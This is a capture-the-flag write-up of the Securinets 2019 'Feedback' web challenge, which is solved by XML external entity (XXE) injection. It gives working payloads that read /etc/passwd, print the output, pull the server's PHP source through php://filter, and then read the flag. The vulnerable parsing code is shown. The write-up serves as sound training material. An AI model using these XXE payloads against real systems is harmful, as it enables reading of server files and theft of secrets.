Securinets CTF Quals 2019 - Write-up

Information#

CTF#

Feedback - Web#

I created this website to get your feedback on our CTF.

Can you check if it's secure ?

Author:Tr'GFx

There is a basic form asking for name, email and feedback:

<div class="container-contact100">

  <div class="wrap-contact100">
    <form class="contact100-form validate-form" method="POST" onsubmit="func();return false;">
      <span class="contact100-form-title">
        Send Us A Feedback	
      </span>

      <div class="wrap-input100 validate-input" data-validate="Please enter your name">
        <input class="input100" type="text" name="name" placeholder="Full Name">
        <span class="focus-input100"></span>
      </div>

      <div class="wrap-input100 validate-input" data-validate = "Please enter your email: e@a.x">
        <input class="input100" type="text" name="email" placeholder="E-mail">
        <span class="focus-input100"></span>
      </div>

      <div class="wrap-input100 validate-input" data-validate = "Please enter your message">
        <textarea class="input100" name="feedback" placeholder="Your Feedback"></textarea>
        <span class="focus-input100"></span>
      </div>

      <div class="container-contact100-form-btn">
        <button class="contact100-form-btn">
          <span>
            <i class="fa fa-paper-plane-o m-r-6" aria-hidden="true"></i>
            Send
          </span>
        </button>
        <div id="Message" color="Blue" type="text"></div>
      </div>
    </form>
  </div>
</div>

And this form call a Javascript function func():

function func(){
    var xml = '' +
        '<?xml version="1.0" encoding="UTF-8"?>' +
        '<feedback>' +
        '<author>' + $('input[name="name"]').val() + '</author>' +
        '<email>' + $('input[name="email"]').val() + '</email>' +
        '<content>' + $('input[name="feedback"]').val() + '</content>' +
        '</feedback>';
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if(xmlhttp.readyState == 4){
            console.log(xmlhttp.readyState);
            console.log(xmlhttp.responseText);
            document.getElementById('Message').innerHTML = xmlhttp.responseText;
        }
    }
    xmlhttp.open("POST","feed.php",true);
    xmlhttp.send(xml);
};

This function is creating a XML document and send it to feed.php.

The feed.php page is answering Thanks For you Feedback yourNameHere so let's check if it is vulnerable to external entities (XXE):

Request headers:

POST /feed.php HTTP/1.1
Host: web2.ctfsecurinets.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://web2.ctfsecurinets.com/
Content-Type: text/plain;charset=UTF-8
Content-Length: 198
Connection: close
Cookie: _ga=GA1.2.1117274185.1553375015; _gid=GA1.2.320874254.1553375015

Request body:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY example "noraj"> ]>
<feedback>
<author>&example;</author>
<email>we don't care</email>
<content>undefined</content>
</feedback>

Response headers:

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Sat, 23 Mar 2019 21:10:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 38

Response body:

<h4>Thanks For you Feedback noraj</h4>

The server reflected our external entity!

Let's ask for more!

Request body:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY doc SYSTEM 'file:///etc/passwd'> ]>
<feedback>
<author>&doc;</author>
<email>we don't care</email>
<content>undefined</content>
</feedback>

Response body:

<h4>Thanks For you Feedback root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
simple_user:x:1000:1000::/home/simple_user:/bin/bash
Debian-exim:x:102:102::/var/spool/exim4:/bin/false
</h4>

Now let's use a PHP filter in the XXE:

Request body:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY doc SYSTEM 'php://filter/convert.base64-encode/resource=feed.php'> ]>
<feedback>
<author>&doc;</author>
<email>we don't care</email>
<content>undefined</content>
</feedback>

Response body:

<h4>Thanks For you Feedback PD9waHAKbGlieG1sX2Rpc2FibGVfZW50aXR5X2xvYWRlciAoZmFsc2UpOwovLyR4bWxmaWxlID0gJF9QT1NUWyJ0YSJdOwokeG1sZmlsZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpOwokZG9tID0gbmV3IERPTURvY3VtZW50KCk7CiRkb20tPmxvYWRYTUwoJHhtbGZpbGUsIExJQlhNTF9OT0VOVCB8IExJQlhNTF9EVERMT0FEKTsKJGZlZWRiYWNrID0gc2ltcGxleG1sX2ltcG9ydF9kb20oJGRvbSk7CiRhdXRob3IgPSAkZmVlZGJhY2stPmF1dGhvcjsKZWNobyAiPGg0PlRoYW5rcyBGb3IgeW91IEZlZWRiYWNrICRhdXRob3I8L2g0PiIKCj8+CgoK</h4>

So once base64 decoded:

<?php
libxml_disable_entity_loader (false);
//$xmlfile = $_POST["ta"];
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$feedback = simplexml_import_dom($dom);
$author = $feedback->author;
echo "<h4>Thanks For you Feedback $author</h4>"

?>

I had to guess it was in ./flag.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY doc SYSTEM 'php://filter/convert.base64-encode/resource=flag'> ]>
<feedback>
<author>&doc;</author>
<email>we don't care</email>
<content>undefined</content>
</feedback>

And if I don't want to base64 decode and being lazy I can ask for /proc/self/cwd/.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY doc SYSTEM 'file:///proc/self/cwd/flag'> ]>
<feedback>
<author>&doc;</author>
<email>we don't care</email>
<content>undefined</content>
</feedback>

Thanks For you Feedback Securinets{Xxe_xXE_@Ll_Th3_W@Y}.

Share